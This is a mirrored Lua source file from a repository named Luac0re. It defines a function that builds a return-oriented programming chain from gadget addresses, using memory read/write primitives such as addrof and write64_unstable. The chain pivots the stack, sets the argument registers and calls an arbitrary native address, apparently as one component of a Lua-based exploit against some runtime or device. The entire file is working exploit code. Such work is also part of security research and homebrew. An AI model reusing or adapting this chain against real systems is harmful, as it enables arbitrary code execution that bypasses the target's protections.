mirror of
https://github.com/Gezine/Luac0re.git
synced 2026-10-18 23:07:31 -05:00
136 lines
4.0 KiB
Lua
136 lines
4.0 KiB
Lua
|
|
function call_rop(address, rax, arg1, arg2, arg3, arg4, arg5, arg6)
|
|
local idx = 0
|
|
|
|
local rax = rax or 0
|
|
|
|
local function process_arg(arg)
|
|
if arg == nil then
|
|
return 0
|
|
elseif type(arg) == "string" then
|
|
return addrof(arg) + 0x20
|
|
else
|
|
return arg
|
|
end
|
|
end
|
|
|
|
local arg1 = process_arg(arg1)
|
|
local arg2 = process_arg(arg2)
|
|
local arg3 = process_arg(arg3)
|
|
local arg4 = process_arg(arg4)
|
|
local arg5 = process_arg(arg5)
|
|
local arg6 = process_arg(arg6)
|
|
|
|
local function push_chain(value)
|
|
write64_unstable(LUA_PIVOT_SCRATCH + idx * 8, value)
|
|
idx = idx + 1
|
|
end
|
|
|
|
-- Backup RBP
|
|
-- xchg rax, rbp ; sub al, 0x00 ; movsxd rdx, qword [rcx+rsi*4] ; add rdx, rcx ; jmp rdx ;
|
|
push_chain(POP_RCX_RET)
|
|
push_chain(STRING_BASE)
|
|
push_chain(POP_RSI_RET)
|
|
push_chain(0) -- [RCX + RSI*4] = [STRING_BASE]
|
|
local offset = RET - STRING_BASE
|
|
write64_unstable(STRING_BASE, offset)
|
|
push_chain(XCHG_RAX_RBP)
|
|
-- RAX = original RBP, jmp to RET, continues chain
|
|
push_chain(POP_RDI_RET)
|
|
push_chain(STRING_BASE + 0x10) -- Store RBP to STRING_BASE + 0x10
|
|
push_chain(MOV_DEREF_RDI_RAX_RET)
|
|
|
|
-- r8 and r9
|
|
-- pop r8 ; xor eax, eax ; mov word [rbx], cx ; pop rbx ; pop r14 ; pop rbp ; ret
|
|
-- mov r9, qword [rbp-0x50] ; mov rbx, qword [rbp-0x40] ; mov eax, 0xFFFFFFFC ; mov esi, 0xFFFFFFFD ; mov edi, 0x00000001 ; add rcx, r8 ; jmp rcx ;
|
|
push_chain(POP_RBX_RET)
|
|
push_chain(STRING_BASE + 0x8)
|
|
push_chain(POP_R8_RET)
|
|
push_chain(arg5)
|
|
push_chain(0)
|
|
push_chain(0)
|
|
push_chain(STRING_BASE + 0x70) -- rbp
|
|
write64_unstable(STRING_BASE + 0x20, arg6)
|
|
push_chain(POP_RCX_RET)
|
|
push_chain(RET - arg5)
|
|
push_chain(MOV_R9_RET)
|
|
|
|
-- Restore RBP before calling the function (Maybe not needed?)
|
|
push_chain(POP_RAX_RET)
|
|
push_chain(STRING_BASE + 0x10)
|
|
push_chain(MOV_RAX_DEREF_RAX_RET)
|
|
local rbp_placeholder_offset = idx + 4
|
|
push_chain(POP_RDI_RET)
|
|
push_chain(LUA_PIVOT_SCRATCH + rbp_placeholder_offset * 8)
|
|
push_chain(MOV_DEREF_RDI_RAX_RET)
|
|
push_chain(POP_RBP_RET)
|
|
push_chain(0xDEADBEEF) -- dummy will be changed dynamically
|
|
|
|
push_chain(POP_RAX_RET)
|
|
push_chain(rax)
|
|
|
|
push_chain(POP_RDI_RET)
|
|
push_chain(arg1)
|
|
|
|
push_chain(POP_RSI_RET)
|
|
push_chain(arg2)
|
|
|
|
push_chain(POP_RDX_RET)
|
|
push_chain(arg3)
|
|
|
|
push_chain(POP_RCX_RET)
|
|
push_chain(arg4)
|
|
|
|
-- Call target function
|
|
push_chain(address)
|
|
|
|
-- Save return value to STRING_BASE + 0x30
|
|
push_chain(POP_RDI_RET)
|
|
push_chain(STRING_BASE + 0x30)
|
|
push_chain(MOV_DEREF_RDI_RAX_RET)
|
|
|
|
-- Load saved RBP into RAX
|
|
push_chain(POP_RAX_RET)
|
|
push_chain(STRING_BASE + 0x10)
|
|
push_chain(MOV_RAX_DEREF_RAX_RET)
|
|
|
|
-- Setup for second XCHG
|
|
push_chain(POP_RCX_RET)
|
|
push_chain(STRING_BASE)
|
|
push_chain(POP_RSI_RET)
|
|
push_chain(0)
|
|
push_chain(XCHG_RAX_RBP)
|
|
|
|
-- Restore registers
|
|
push_chain(POP_R15_RET)
|
|
push_chain(LUA_STATE)
|
|
|
|
-- Calculate original RSP = RBP - 0x48
|
|
push_chain(POP_RAX_RET)
|
|
push_chain(STRING_BASE + 0x10)
|
|
push_chain(MOV_RAX_DEREF_RAX_RET)
|
|
push_chain(POP_RDX_RET)
|
|
push_chain(0x48)
|
|
push_chain(SUB_RAX_RDX_RET) -- RAX = RBP - 0x48
|
|
|
|
-- Write calculated RSP to the placeholder location
|
|
local rsp_placeholder_offset = idx + 4
|
|
push_chain(POP_RDI_RET)
|
|
push_chain(LUA_PIVOT_SCRATCH + rsp_placeholder_offset * 8)
|
|
push_chain(MOV_DEREF_RDI_RAX_RET)
|
|
push_chain(POP_RSP_RET)
|
|
push_chain(0xDEADBEEF) -- dummy will be changed dynamically
|
|
|
|
write64_unstable(LUA_PIVOT_SCRATCH - 0x100000, 0)
|
|
write64_unstable(LUA_PIVOT_SCRATCH - 0x100000 + 0x48, LUA_PIVOT2)
|
|
write64_unstable(LUA_PIVOT_SCRATCH - 0x100000 + 0x7, LUA_PIVOT_SCRATCH)
|
|
write64_unstable(LUA_PIVOT_RAX, LUA_PIVOT_SCRATCH - 0x100000)
|
|
|
|
-- Execute ROP chain
|
|
call_rop_internal()
|
|
|
|
-- Read and return result
|
|
return read64_unstable(STRING_BASE + 0x30)
|
|
end
|
|
|